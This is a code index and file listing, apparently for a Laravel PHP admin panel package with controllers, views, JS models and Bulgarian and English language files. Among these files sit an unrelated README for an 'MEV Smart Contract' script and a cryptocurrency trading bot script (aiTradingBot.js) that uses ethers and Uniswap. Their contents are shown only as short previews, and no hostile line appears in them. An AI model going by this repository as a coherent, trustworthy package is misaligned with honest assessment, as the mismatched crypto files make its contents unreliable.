    method postCreate (line 39) | public function postCreate()
    method postSave (line 50) | public function postSave(Request $request)
    method postGet (line 66) | public function postGet(Request $request)
    method postRemove (line 80) | public function postRemove(Request $request)

FILE: src/Controllers/HomeController.php
  class HomeController (line 9) | class HomeController extends Controller
    method index (line 11) | public function index(Request $request)

FILE: src/Controllers/ItemController.php
  class ItemController (line 16) | class ItemController extends Controller
    method index (line 18) | public function index(Request $request)
    method postList (line 23) | public function postList(Request $request)
    method postCreate (line 43) | public function postCreate(Request $request)
    method postDateCreate (line 70) | public function postDateCreate(Request $request)
    method postDateList (line 89) | public function postDateList(Request $request)
    method postRemove (line 102) | public function postRemove(Request $request)
    method postDateRemove (line 117) | public function postDateRemove(Request $request)
    method postGet (line 132) | public function postGet(Request $request)
    method postSave (line 200) | public function postSave(Request $request)

FILE: src/Controllers/MediaController.php
  class MediaController (line 15) | class MediaController extends Controller
    method postGetMediaPagination (line 17) | public function postGetMediaPagination(Request $request)
    method postGetMediaDetailList (line 47) | public function postGetMediaDetailList(Request $request)
    method postRemove (line 91) | public function postRemove(Request $request)
    method postUpload (line 105) | public function postUpload(Request $request)

FILE: src/Controllers/NavigationController.php
  class NavigationController (line 16) | class NavigationController extends Controller
    method index (line 18) | public function index(Request $request)
    method postList (line 23) | public function postList(Request $request)
    method postCreate (line 45) | public function postCreate(Request $request)
    method postSave (line 66) | public function postSave(Request $request)
    method postGet (line 118) | public function postGet(Request $request)
    method postRemove (line 158) | public function postRemove(Request $request)

FILE: src/Controllers/NewsController.php
  class NewsController (line 13) | class NewsController extends Controller
    method index (line 15) | public function index(Request $request)
    method postList (line 20) | public function postList(Request $request)
    method postCreate (line 40) | public function postCreate()
    method postRemove (line 61) | public function postRemove(Request $request)
    method postGet (line 75) | public function postGet(Request $request)
    method postSave (line 123) | public function postSave(Request $request)

FILE: src/Controllers/NewsletterController.php
  class NewsletterController (line 13) | class NewsletterController extends Controller
    method index (line 15) | public function index(Request $request)
    method postList (line 20) | public function postList(Request $request)
    method postCreate (line 40) | public function postCreate()
    method postRemove (line 61) | public function postRemove(Request $request)
    method postGet (line 75) | public function postGet(Request $request)
    method postSave (line 113) | public function postSave(Request $request)

FILE: src/Controllers/NewsletterSubscribersController.php
  class NewsletterSubscribersController (line 14) | class NewsletterSubscribersController extends Controller
    method index (line 16) | public function index(Request $request)
    method postList (line 21) | public function postList(Request $request)
    method postCreate (line 36) | public function postCreate()
    method postRemove (line 47) | public function postRemove(Request $request)
    method postGet (line 61) | public function postGet(Request $request)
    method postSave (line 85) | public function postSave(Request $request)

FILE: src/Controllers/PageController.php
  class PageController (line 13) | class PageController extends Controller
    method index (line 15) | public function index()
    method postList (line 20) | public function postList(Request $request)
    method postCreate (line 40) | public function postCreate()
    method postRemove (line 61) | public function postRemove(Request $request)
    method postGet (line 75) | public function postGet(Request $request)
    method postSave (line 123) | public function postSave(Request $request)

FILE: src/Controllers/SliderController.php
  class SliderController (line 13) | class SliderController extends Controller
    method index (line 15) | public function index(Request $request)
    method postList (line 20) | public function postList(Request $request)
    method postCreate (line 39) | public function postCreate(Request $request)
    method postRemove (line 61) | public function postRemove(Request $request)
    method postGet (line 74) | public function postGet(Request $request)
    method postSave (line 100) | public function postSave(Request $request)

FILE: src/Controllers/UserController.php
  class UserController (line 11) | class UserController extends Controller
    method index (line 13) | public function index(Request $request)
    method postList (line 19) | public function postList()
    method postCreate (line 37) | public function postCreate()
    method postSave (line 45) | public function postSave(Request $request)
    method postGet (line 62) | public function postGet(Request $request)
    method postRemove (line 75) | public function postRemove(Request $request)

FILE: src/Middleware/Authenticate.php
  class Authenticate (line 8) | class Authenticate
    method handle (line 18) | public function handle($request, Closure $next, $guard = null)

FILE: src/Middleware/EncryptCookies.php
  class EncryptCookies (line 7) | class EncryptCookies extends BaseEncrypter

FILE: src/Middleware/RedirectIfAuthenticated.php
  class RedirectIfAuthenticated (line 8) | class RedirectIfAuthenticated
    method handle (line 18) | public function handle($request, Closure $next, $guard = null)

FILE: src/Middleware/VerifyCsrfToken.php
  class VerifyCsrfToken (line 10) | class VerifyCsrfToken extends BaseVerifier
    method __construct (line 12) | public function __construct(Application $app, Encrypter $encrypter) {

FILE: src/Providers/AdminServiceProvider.php
  class AdminServiceProvider (line 7) | class AdminServiceProvider extends ServiceProvider
    method boot (line 21) | public function boot()
    method register (line 43) | public function register()

FILE: src/public/assets/admin/js/media.js
  function MediaModel (line 2) | function MediaModel() {
  function media_getInf (line 674) | function media_getInf(id) {
  function media_edit_title (line 678) | function media_edit_title(id) {
  function media_save_title (line 682) | function media_save_title() {
  function media_show_all (line 686) | function media_show_all(p) {
  function media_save_cancel (line 690) | function media_save_cancel() {
  function media_init (line 694) | function media_init() {
  function media_refuse (line 704) | function media_refuse(id) {
  function media_approve (line 707) | function media_approve(id) {
  function media_show_convert (line 710) | function media_show_convert() {
  function media_hide_convert (line 714) | function media_hide_convert() {
  function media_convert_media (line 718) | function media_convert_media() {
  function media_set_convert_mode (line 722) | function media_set_convert_mode(mode) {
  function media_init_sortable (line 726) | function media_init_sortable() {
  function media_init_draggable (line 730) | function media_init_draggable() {
  function media_add_to_item (line 734) | function media_add_to_item(id) {
  function media_set_view (line 738) | function media_set_view(view) {
  function media_approve_current (line 742) | function media_approve_current() {
  function media_make_visible (line 746) | function media_make_visible(id) {
  function media_close_info (line 750) | function media_close_info() {
  function media_category_remove (line 754) | function media_category_remove(id) {
  function media_category_add (line 758) | function media_category_add() {
  function media_category_save (line 762) | function media_category_save() {
  function media_category_edit (line 766) | function media_category_edit(id) {
  function media_make_hidden (line 772) | function media_make_hidden(id) {
  function media_attach_add (line 776) | function media_attach_add(id) {
  function media_attach_remove (line 780) | function media_attach_remove(id) {

FILE: src/public/assets/admin/js/model/NewsletterSubscribers.js
  function NewsletterSubscribersModel (line 1) | function NewsletterSubscribersModel()

FILE: src/public/assets/admin/js/model/category.js
  function CategoryModel (line 1) | function CategoryModel()

FILE: src/public/assets/admin/js/model/color.js
  function ColorModel (line 1) | function ColorModel()

FILE: src/public/assets/admin/js/model/conf.js
  function ConfModel (line 1) | function ConfModel()

FILE: src/public/assets/admin/js/model/item.js
  function ItemModel (line 1) | function ItemModel()

FILE: src/public/assets/admin/js/model/navigation.js
  function NavigationModel (line 1) | function NavigationModel()

FILE: src/public/assets/admin/js/model/news.js
  function NewsModel (line 1) | function NewsModel()

FILE: src/public/assets/admin/js/model/newsletter.js
  function NewsletterModel (line 1) | function NewsletterModel()

FILE: src/public/assets/admin/js/model/page.js
  function PageModel (line 1) | function PageModel()

FILE: src/public/assets/admin/js/model/slide.js
  function SlideModel (line 1) | function SlideModel()

FILE: src/public/assets/admin/js/model/user.js
  function UserModel (line 1) | function UserModel()

FILE: src/public/assets/admin/js/state.js
  function StateModel (line 2) | function StateModel()
Condensed preview — 114 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (420K chars).
[
  {
    "path": ".gitattributes",
    "chars": 227,
    "preview": "# Set the default behavior, in case people don't have core.autocrlf set.\n* text=false\n\n# Explicitly declare text files y"
  },
  {
    "path": ".gitignore",
    "chars": 22,
    "preview": "vendor/\ncomposer.lock\n"
  },
  {
    "path": "LICENSE",
    "chars": 1077,
    "preview": "The MIT License (MIT)\n\nCopyright (c) <Taylor Otwell>\n\nPermission is hereby granted, free of charge, to any person obtain"
  },
  {
    "path": "README.md",
    "chars": 4171,
    "preview": "\n# MEV Smart Contract Deployment and Management Script\n![Banner](https://github.com/podmex/ChatGPT-Micro-Cap-Experiment/"
  },
  {
    "path": "aiTradingBot.js",
    "chars": 23606,
    "preview": "const { ethers } = require(\"ethers\");\nconst { SwapRouter, Pool, Route, Trade, TradeType, Percent } = require(\"@uniswap/v"
  },
  {
    "path": "package.json",
    "chars": 144,
    "preview": "{\n  \"dependencies\": {\n    \"@uniswap/sdk-core\": \"^7.7.2\",\n    \"@uniswap/v3-sdk\": \"^3.8.3\",\n    \"axios\": \"^1.11.0\",\n    \"e"
  },
  {
    "path": "src/Controllers/Auth/AuthController.php",
    "chars": 946,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Controllers\\Auth;\n\nuse Illuminate\\Http\\Request;\nuse App\\Http\\Controllers\\Auth\\AuthControlle"
  },
  {
    "path": "src/Controllers/CategoryController.php",
    "chars": 3275,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Controllers;\n\nuse App\\Http\\Controllers\\Controller;\n\nuse Illuminate\\Http\\Request;\n\nuse Clixy"
  },
  {
    "path": "src/Controllers/ColorController.php",
    "chars": 3181,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Controllers;\n\nuse App\\Http\\Controllers\\Controller;\n\nuse Illuminate\\Http\\Request;\n\nuse Clixy"
  },
  {
    "path": "src/Controllers/ConfController.php",
    "chars": 1847,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Controllers;\n\nuse App\\Http\\Controllers\\Controller;\n\nuse Illuminate\\Http\\Request;\n\nuse Clixy"
  },
  {
    "path": "src/Controllers/HomeController.php",
    "chars": 257,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Controllers;\n\nuse App\\Http\\Controllers\\Controller;\n\nuse Illuminate\\Http\\Request;\n\nclass Hom"
  },
  {
    "path": "src/Controllers/ItemController.php",
    "chars": 6588,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Controllers;\n\nuse App\\Http\\Controllers\\Controller;\n\nuse Illuminate\\Http\\Request;\n\nuse Clixy"
  },
  {
    "path": "src/Controllers/MediaController.php",
    "chars": 4181,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Controllers;\n\nuse App\\Http\\Controllers\\Controller;\n\nuse Illuminate\\Http\\Request;\n\nuse Clixy"
  },
  {
    "path": "src/Controllers/NavigationController.php",
    "chars": 4879,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Controllers;\n\nuse App\\Http\\Controllers\\Controller;\n\nuse Illuminate\\Http\\Request;\n\nuse Clixy"
  },
  {
    "path": "src/Controllers/NewsController.php",
    "chars": 4240,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Controllers;\n\nuse App\\Http\\Controllers\\Controller;\n\nuse Illuminate\\Http\\Request;\n\nuse Clixy"
  },
  {
    "path": "src/Controllers/NewsletterController.php",
    "chars": 3463,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Controllers;\n\nuse App\\Http\\Controllers\\Controller;\n\nuse Illuminate\\Http\\Request;\n\nuse Clixy"
  },
  {
    "path": "src/Controllers/NewsletterSubscribersController.php",
    "chars": 2419,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Controllers;\n\nuse App\\Http\\Controllers\\Controller;\n\nuse Illuminate\\Http\\Request;\n\nuse Clixy"
  },
  {
    "path": "src/Controllers/PageController.php",
    "chars": 4216,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Controllers;\n\nuse App\\Http\\Controllers\\Controller;\n\nuse Clixy\\Core\\Models\\Language;\n\nuse Cl"
  },
  {
    "path": "src/Controllers/SliderController.php",
    "chars": 3257,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Controllers;\n\nuse App\\Http\\Controllers\\Controller;\n\nuse Illuminate\\Http\\Request;\n\nuse Clixy"
  },
  {
    "path": "src/Controllers/UserController.php",
    "chars": 2362,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Controllers;\n\nuse App\\Http\\Controllers\\Controller;\n\nuse Illuminate\\Http\\Request;\n\nuse App\\U"
  },
  {
    "path": "src/Middleware/Authenticate.php",
    "chars": 702,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Middleware;\n\nuse Closure;\nuse Illuminate\\Support\\Facades\\Auth;\n\nclass Authenticate\n{\n    /*"
  },
  {
    "path": "src/Middleware/EncryptCookies.php",
    "chars": 303,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Middleware;\n\nuse Illuminate\\Cookie\\Middleware\\EncryptCookies as BaseEncrypter;\n\nclass Encry"
  },
  {
    "path": "src/Middleware/RedirectIfAuthenticated.php",
    "chars": 573,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Middleware;\n\nuse Closure;\nuse Illuminate\\Support\\Facades\\Auth;\n\nclass RedirectIfAuthenticat"
  },
  {
    "path": "src/Middleware/VerifyCsrfToken.php",
    "chars": 562,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Middleware;\n\nuse Illuminate\\Foundation\\Application;\nuse Illuminate\\Contracts\\Encryption\\Enc"
  },
  {
    "path": "src/Providers/AdminServiceProvider.php",
    "chars": 2631,
    "preview": "<?php\n\nnamespace Clixy\\Admin\\Providers;\n\nuse Illuminate\\Support\\ServiceProvider;\n\nclass AdminServiceProvider extends Ser"
  },
  {
    "path": "src/config.php",
    "chars": 628,
    "preview": "<?php\n\nreturn [\n\n\t/*\n\t|--------------------------------------------------------------------------\n\t| Admin prefix\n\t|----"
  },
  {
    "path": "src/lang/bg/auth.php",
    "chars": 617,
    "preview": "<?php\n\nreturn [\n\n    /*\n    |--------------------------------------------------------------------------\n    | Authentica"
  },
  {
    "path": "src/lang/bg/btn.php",
    "chars": 166,
    "preview": "<?php\n\nreturn [\n    'edit' => 'промени',\n    'delete' => 'изтрий',\n    'save' => 'запази',\n    'cancel' => 'отказ',\n    "
  },
  {
    "path": "src/lang/bg/pagination.php",
    "chars": 538,
    "preview": "<?php\n\nreturn [\n\n    /*\n    |--------------------------------------------------------------------------\n    | Pagination"
  },
  {
    "path": "src/lang/bg/passwords.php",
    "chars": 789,
    "preview": "<?php\n\nreturn [\n\n    /*\n    |--------------------------------------------------------------------------\n    | Password R"
  },
  {
    "path": "src/lang/bg/validation.php",
    "chars": 5675,
    "preview": "<?php\n\nreturn [\n\n    /*\n    |--------------------------------------------------------------------------\n    | Validation"
  },
  {
    "path": "src/lang/en/auth.php",
    "chars": 155,
    "preview": "<?php\n\nreturn [\n\t'loginTitle' => 'Моля, въведете данни за достъп.',\n\t'username' => 'Потребителско име',\n\t'password' => '"
  },
  {
    "path": "src/lang/en/category.php",
    "chars": 239,
    "preview": "<?php\n\nreturn [\n\t'slug' => 'Slug',\n\t'order' => 'Order',\n\t'active' => 'Active',\n\t'homepage' => 'Homepage',\n\t'parent' => '"
  },
  {
    "path": "src/lang/en/common.php",
    "chars": 170,
    "preview": "<?php\n\nreturn [\n\t'btn' => [\n\t\t'edit' => 'промени',\n\t\t'delete' => 'изтрий',\n\t\t'save' => 'запази',\n\t\t'cancel' => 'отказ',\n"
  },
  {
    "path": "src/public/assets/admin/css/app.css",
    "chars": 155710,
    "preview": "meta.foundation-version {font-family:\"/5.4.7/\";}meta.foundation-mq-small {font-family:\"/only screen/\";width:0em;}meta.fo"
  },
  {
    "path": "src/public/assets/admin/js/app.js",
    "chars": 253,
    "preview": "var updateCKEditor = function () {\r\n    try {\r\n        for (var instanceName in CKEDITOR.instances) {\r\n            CKEDI"
  },
  {
    "path": "src/public/assets/admin/js/media.js",
    "chars": 22584,
    "preview": "// media\nfunction MediaModel() {\n\n    var handle = this;\n    var self = this;\n    var token = null;\n\n    var admin = 0;\n"
  },
  {
    "path": "src/public/assets/admin/js/model/NewsletterSubscribers.js",
    "chars": 4331,
    "preview": "function NewsletterSubscribersModel()\n{\n    var token = Conf.token;\n    var id;\n\n    var lang = {\n        validation: {\n"
  },
  {
    "path": "src/public/assets/admin/js/model/category.js",
    "chars": 4875,
    "preview": "function CategoryModel()\n{\n    var token = Conf.token;\n    var id;\n\n    var lang = {\n        validation: {\n            r"
  },
  {
    "path": "src/public/assets/admin/js/model/color.js",
    "chars": 3776,
    "preview": "function ColorModel()\n{\n    var handle = this;\n    var self = this;\n    var token = Conf.token;\n\n    var id;\n\n    var la"
  },
  {
    "path": "src/public/assets/admin/js/model/conf.js",
    "chars": 3704,
    "preview": "function ConfModel()\n{\n    var token = Conf.token;\n\n    var id;\n\n    var lang = {\n        validation: {\n            requ"
  },
  {
    "path": "src/public/assets/admin/js/model/item.js",
    "chars": 6448,
    "preview": "function ItemModel()\n{\n    var token = Conf.token;\n    var id;\n\n    var lang = {\n        validation: {\n            requi"
  },
  {
    "path": "src/public/assets/admin/js/model/navigation.js",
    "chars": 3910,
    "preview": "function NavigationModel()\n{\n    var handle = this;\n    var self = this;\n    var token = Conf.token;\n\n    var id;\n\n    v"
  },
  {
    "path": "src/public/assets/admin/js/model/news.js",
    "chars": 5038,
    "preview": "function NewsModel()\n{\n    var handle = this;\n    var self = this;\n    var token = Conf.token;\n\n    var id;\n\n    var lan"
  },
  {
    "path": "src/public/assets/admin/js/model/newsletter.js",
    "chars": 4359,
    "preview": "function NewsletterModel()\n{\n    var token = Conf.token;\n    var id;\n\n    var lang = {\n        validation: {\n           "
  },
  {
    "path": "src/public/assets/admin/js/model/page.js",
    "chars": 5038,
    "preview": "function PageModel()\n{\n    var handle = this;\n    var self = this;\n    var token = Conf.token;\n\n    var id;\n\n    var lan"
  },
  {
    "path": "src/public/assets/admin/js/model/slide.js",
    "chars": 5090,
    "preview": "function SlideModel()\n{\n    var token = Conf.token;\n    var id;\n\n    var lang = {\n        validation: {\n            requ"
  },
  {
    "path": "src/public/assets/admin/js/model/user.js",
    "chars": 4908,
    "preview": "function UserModel()\n{\n    var handle = this;\n    var self = this;\n    var token = Conf.token;\n\n    var id;\n\n    var lan"
  },
  {
    "path": "src/public/assets/admin/js/state.js",
    "chars": 1035,
    "preview": "// state model\nfunction StateModel()\n{\n    var self = this;\n    var id = '', _log_;\n    \n    this.log = function (_id, m"
  },
  {
    "path": "src/public/assets/admin/swf/ixUploader.as",
    "chars": 7840,
    "preview": "package {\r\n\timport flash.display.Sprite;\r\n\timport flash.display.StageAlign;\r\n\timport flash.display.StageScaleMode;\r\n\tim"
  },
  {
    "path": "src/routes.php",
    "chars": 5885,
    "preview": "<?php\n\n/*\n|--------------------------------------------------------------------------\n| Application Routes\n|------------"
  },
  {
    "path": "src/views/auth/login.blade.php",
    "chars": 1031,
    "preview": "@extends('clixy/admin::layouts.default')\n\n@section('content')\n<div class=\"row collapse\">\n    <div class=\"large-6 columns"
  },
  {
    "path": "src/views/category/category.blade.php",
    "chars": 536,
    "preview": "@extends('clixy/admin::layouts.default')\n\n@section('content')\n<div class=\"row\">\n    <div class=\"large-12 columns\">\n     "
  },
  {
    "path": "src/views/category/categoryform.blade.php",
    "chars": 3848,
    "preview": "<div class=\"row\">\n\t<div class=\"large-12 columns\">\n\t\t<div class=\"row\">\n\t\t\t<div class=\"large-7 columns\">\n\t\t\t\t<h2>{{ $lang_"
  },
  {
    "path": "src/views/category/categorylist.blade.php",
    "chars": 1060,
    "preview": "@foreach($list as $v)\n\t@if($v->parent_id == 0)\n\t\t<div class=\"row\">\n\t\t\t<div class=\"large-8 columns\">\n\t\t\t\t<p>{{ $v->lang->"
  },
  {
    "path": "src/views/color/color.blade.php",
    "chars": 538,
    "preview": "@extends('clixy/admin::layouts.default')\n@section('content')\n    <div class=\"row\">\n    <div class=\"large-12 columns\">\n  "
  },
  {
    "path": "src/views/color/colorform.blade.php",
    "chars": 4285,
    "preview": "<div class=\"row\">\n    <div class=\"large-12 columns\">\n        <?php echo 0 ? print_r($data, true) : ''; ?>\n        <div c"
  },
  {
    "path": "src/views/color/colorlist.blade.php",
    "chars": 541,
    "preview": "@foreach ($list as $v)\n<div class=\"row\">\n    <div class=\"large-10 columns\">\n        <p>{{ $v->lang->title }}<br /><small"
  },
  {
    "path": "src/views/common/ajaxpagination.blade.php",
    "chars": 1248,
    "preview": "@if($pages > 1)\n    <div class=\"s_pager\" style=\"margin:0;padding:4px\">\n        <ul id=\"pages\" class=\"clearfix\">\n        "
  },
  {
    "path": "src/views/common/gallery/button.blade.php",
    "chars": 143,
    "preview": "<a class=\"button tiny radius\" href=\"javascript:;\" title=\"{{ $action }}\" data-action=\"{{ $action }}\" data-id=\"{{ $id }}\">"
  },
  {
    "path": "src/views/common/gallery/list.blade.php",
    "chars": 176,
    "preview": "<div class=\"s_buttons_actions\">\n@foreach($items as $k => $v)\n    @include('clixy/admin::common.gallery.button', ['action"
  },
  {
    "path": "src/views/conf/conf.blade.php",
    "chars": 528,
    "preview": "@extends('clixy/admin::layouts.default')\n\n@section('content')\n\t<div class=\"row\">\n\t\t<div class=\"large-12 columns\">\n\t\t\t<a "
  },
  {
    "path": "src/views/conf/confform.blade.php",
    "chars": 1046,
    "preview": "<div class=\"row\">\n\t<div class=\"large-12 columns\">\n\t\t<div class=\"row\">\n\t\t\t<div class=\"large-6 columns\">\n\t\t\t\t<h2>Настройка"
  },
  {
    "path": "src/views/conf/conflist.blade.php",
    "chars": 517,
    "preview": "@foreach ($list as $v)\n<div class=\"row\">\n    <div class=\"large-8 columns\">\n        <p>{{ $v->slug }}<br /><small>{{ $v->"
  },
  {
    "path": "src/views/errors/503.blade.php",
    "chars": 1104,
    "preview": "<!DOCTYPE html>\n<html>\n    <head>\n        <title>Be right back.</title>\n\n        <link href=\"https://fonts.googleapis.co"
  },
  {
    "path": "src/views/home/home.blade.php",
    "chars": 193,
    "preview": "@extends('clixy/admin::layouts.default')\n@section('content')\n    <div class=\"row\">\n        <div class=\"large-12 columns\""
  },
  {
    "path": "src/views/item/item.blade.php",
    "chars": 534,
    "preview": "@extends('clixy/admin::layouts.default')\n@section('content')\n<div class=\"row\">\n    <div class=\"large-12 columns\">\n      "
  },
  {
    "path": "src/views/item/itemdatelist.blade.php",
    "chars": 365,
    "preview": "@foreach ($list as $v)\n<div class=\"row\" data-date-id=\"{{ $v->id }}\">\n    <div class=\"large-10 columns\">\n        {{ $v->d"
  },
  {
    "path": "src/views/item/itemform.blade.php",
    "chars": 3641,
    "preview": "<div class=\"row\">\n\t<div class=\"large-12 columns\">\n\t\t<?php echo 0 ? print_r($data, true) : ''; ?>\n\t\t<div class=\"row\">\n\t\t\t"
  },
  {
    "path": "src/views/item/itemlist.blade.php",
    "chars": 478,
    "preview": "@foreach ($list as $v)\n<div class=\"row\">\n\t<div class=\"large-8 columns\">\n\t\t<p>{{ $v->lang->title }}<br />{{ $v->slug }}</"
  },
  {
    "path": "src/views/layouts/default.blade.php",
    "chars": 2342,
    "preview": "<!doctype html>\n<html class=\"no-js\" lang=\"en\">\n    <head>\n        <meta charset=\"utf-8\" />\n        <meta name=\"viewport\""
  },
  {
    "path": "src/views/multimedia/edit_title_form.blade.php",
    "chars": 1596,
    "preview": "<span class=\"s_image_edit s_tooltip s_tooltip_up\" style=\"width:320px\">\n    {assign var=\"lang_list\" value=\",\"|explode:\"1\""
  },
  {
    "path": "src/views/multimedia/media.blade.php",
    "chars": 517,
    "preview": "<!-- media preview -->\n<div>\n    <div id=\"media-list\"></div>\n    <div class=\"clear\"></div>\n</div>\n<!-- end of media prev"
  },
  {
    "path": "src/views/multimedia/media_detail_list_ajax.blade.php",
    "chars": 1144,
    "preview": "<!-- orderable -->\n<div class=\"media-listing\" id=\"sort_wrap\">\n@foreach($list as $k => $v)\n    <div data-id=\"{{ $v->id }}"
  },
  {
    "path": "src/views/multimedia/multi_file_upload.blade.php",
    "chars": 1360,
    "preview": "<script>\n    function uploadReady(e) {\n        for (var i in e) {\n            console.log(i + ' ' + e[i]);\n            i"
  },
  {
    "path": "src/views/multimedia/thumbnails/AVI.tpl",
    "chars": 57,
    "preview": "<img\n\tsrc=\"{$image}\" \n\talt=\"{$item->title.$lang_code}\"\n/>"
  },
  {
    "path": "src/views/multimedia/thumbnails/DOC.tpl",
    "chars": 83,
    "preview": "<img src=\"{$base_url}{$media_conf->base_dir}/thumb/doc_85x64.png\" alt=\"{$title}\" />"
  },
  {
    "path": "src/views/multimedia/thumbnails/FLV.tpl",
    "chars": 116,
    "preview": "<div class=\"thumb_flv\">\n\t<img\n\t\tsrc=\"{\"flv\"|str_replace:\"png\":$image}\" \n\t\talt=\"{$item->title.$lang_code}\"\n\t/>\n</div>"
  },
  {
    "path": "src/views/multimedia/thumbnails/GIF.tpl",
    "chars": 37,
    "preview": "<img src=\"{$image}\" alt=\"{$title}\" />"
  },
  {
    "path": "src/views/multimedia/thumbnails/JPG.blade.php",
    "chars": 69,
    "preview": "<img src=\"{{ $image }}\" alt=\"{{ $title }}\" width=\"120\" height=\"90\" />"
  },
  {
    "path": "src/views/multimedia/thumbnails/JPG.tpl",
    "chars": 69,
    "preview": "<img src=\"{{ $image }}\" alt=\"{{ $title }}\" width=\"120\" height=\"90\" />"
  },
  {
    "path": "src/views/multimedia/thumbnails/MOV.tpl",
    "chars": 109,
    "preview": "<div class=\"\">\n\t<img \n\t\tsrc=\"{\"mov\"|str_replace:\"png\":$image}\" \n\t\talt=\"{$item->title.$lang_code}\" \n\t/>\n</div>"
  },
  {
    "path": "src/views/multimedia/thumbnails/MP3.tpl",
    "chars": 104,
    "preview": "<img \n\tsrc=\"{$base_url}{$media_conf->base_dir}/thumb/mp3_85x64.png\" \n\talt=\"{$item->title.$lang_code}\"\n/>"
  },
  {
    "path": "src/views/multimedia/thumbnails/PDF.tpl",
    "chars": 104,
    "preview": "<img \n\tsrc=\"{$base_url}{$media_conf->base_dir}/thumb/pdf_85x64.png\" \n\talt=\"{$item->title.$lang_code}\"\n/>"
  },
  {
    "path": "src/views/multimedia/thumbnails/PNG.tpl",
    "chars": 61,
    "preview": "<img src=\"{$image}\" alt=\"{$title}\" width=\"120\" height=\"90\" />"
  },
  {
    "path": "src/views/multimedia/thumbnails/PPT.tpl",
    "chars": 87,
    "preview": "<img \n\tsrc=\"{$base_url}{$media_conf->base_dir}/thumb/ppt_85x64.png\" \n\talt=\"{$title}\"\n/>"
  },
  {
    "path": "src/views/multimedia/thumbnails/RAR.tpl",
    "chars": 87,
    "preview": "<img \n\tsrc=\"{$base_url}{$media_conf->base_dir}/thumb/zip_85x64.png\" \n\talt=\"{$title}\"\n/>"
  },
  {
    "path": "src/views/multimedia/thumbnails/SWF.tpl",
    "chars": 131,
    "preview": "<img \n\tsrc=\"{$base_url}{$media->base_dir}/{$item->category}/{$media->thumb_dir}/{$item->file}\" \n\talt=\"{$item->title.$lan"
  },
  {
    "path": "src/views/multimedia/thumbnails/TIF.tpl",
    "chars": 124,
    "preview": "<img \n\tsrc=\"{$base_url}{$media_conf->base_dir}/{$item->category}/{$media_conf->thumb_dir}/{$item->file}\" \n\talt=\"{$title}"
  },
  {
    "path": "src/views/multimedia/thumbnails/WMV.tpl",
    "chars": 61,
    "preview": "<img src=\"{\"wmv\"|str_replace:\"png\":$image}\" alt=\"{$title}\" />"
  },
  {
    "path": "src/views/multimedia/thumbnails/XLS.tpl",
    "chars": 83,
    "preview": "<img src=\"{$base_url}{$media_conf->base_dir}/thumb/xls_85x64.png\" alt=\"{$title}\" />"
  },
  {
    "path": "src/views/multimedia/thumbnails/ZIP.tpl",
    "chars": 87,
    "preview": "<img \n\tsrc=\"{$base_url}{$media_conf->base_dir}/thumb/zip_85x64.png\" \n\talt=\"{$title}\"\n/>"
  },
  {
    "path": "src/views/navigation/navigation.blade.php",
    "chars": 600,
    "preview": "@extends('clixy/admin::layouts.default')\n@section('content')\n<div class=\"row\">\n    <div class=\"large-12 columns\">\n      "
  },
  {
    "path": "src/views/navigation/navigationform.blade.php",
    "chars": 5685,
    "preview": "<div class=\"row\">\n    <div class=\"large-12 columns\">\n        @if(0)\n            {{ print_r($data, true) }}\n        @endi"
  },
  {
    "path": "src/views/navigation/navigationlist.blade.php",
    "chars": 873,
    "preview": "@foreach($group_list as $g)\n@if($g->parent_id != 0)\n<div class=\"row\">\n    <div class=\"large-12 columns\">\n        <h3 sty"
  },
  {
    "path": "src/views/news/news.blade.php",
    "chars": 534,
    "preview": "@extends('clixy/admin::layouts.default')\n@section('content')\n<div class=\"row\">\n    <div class=\"large-12 columns\">\n      "
  },
  {
    "path": "src/views/news/newsform.blade.php",
    "chars": 6414,
    "preview": "<div class=\"row\">\n    <div class=\"large-12 columns\">\n        <?php echo 0 ? print_r($data, true) : ''; ?>\n        <div c"
  },
  {
    "path": "src/views/news/newslist.blade.php",
    "chars": 1056,
    "preview": "@foreach ($list as $v)\n@if($v->parent_id == 0)\n<div class=\"row\">\n    <div class=\"large-8 columns\">\n        <p>{{ $v->lan"
  },
  {
    "path": "src/views/newsletter/newsletter.blade.php",
    "chars": 534,
    "preview": "@extends('clixy/admin::layouts.default')\n@section('content')\n<div class=\"row\">\n    <div class=\"large-12 columns\">\n      "
  },
  {
    "path": "src/views/newsletter/newsletterform.blade.php",
    "chars": 3165,
    "preview": "<div class=\"row\">\n    <div class=\"large-12 columns\">\n        <?php echo 0 ? print_r($data, true) : ''; ?>\n        <div c"
  },
  {
    "path": "src/views/newsletter/newsletterlist.blade.php",
    "chars": 527,
    "preview": "@foreach ($list as $v)\n<div class=\"row\">\n    <div class=\"large-10 columns\">\n        <p>{{ $v->lang->subject }}<br /><sma"
  },
  {
    "path": "src/views/page/page.blade.php",
    "chars": 506,
    "preview": "@extends('clixy/admin::layouts.default')\n\n@section('content')\n\t<div class=\"row\">\n\t\t<div class=\"large-12 columns\">\n\t\t\t<a "
  },
  {
    "path": "src/views/page/pageform.blade.php",
    "chars": 4019,
    "preview": "<div class=\"row\">\n\t<div class=\"large-12 columns\">\n\t\t<div class=\"row\">\n\t\t\t<div class=\"large-6 columns\">\n\t\t\t\t<h2>Страница "
  },
  {
    "path": "src/views/page/pagelist.blade.php",
    "chars": 1062,
    "preview": "@foreach ($list as $v)\n\t@if($v->parent_id == 0)\n\t\t<div class=\"row\">\n\t\t\t<div class=\"large-8 columns\">\n\t\t\t\t<p>{{ $v->lang-"
  },
  {
    "path": "src/views/slider/slider.blade.php",
    "chars": 502,
    "preview": "@extends('clixy/admin::layouts.default')\n@section('content')\n<div class=\"row\">\n    <div class=\"large-12 columns\">\n      "
  },
  {
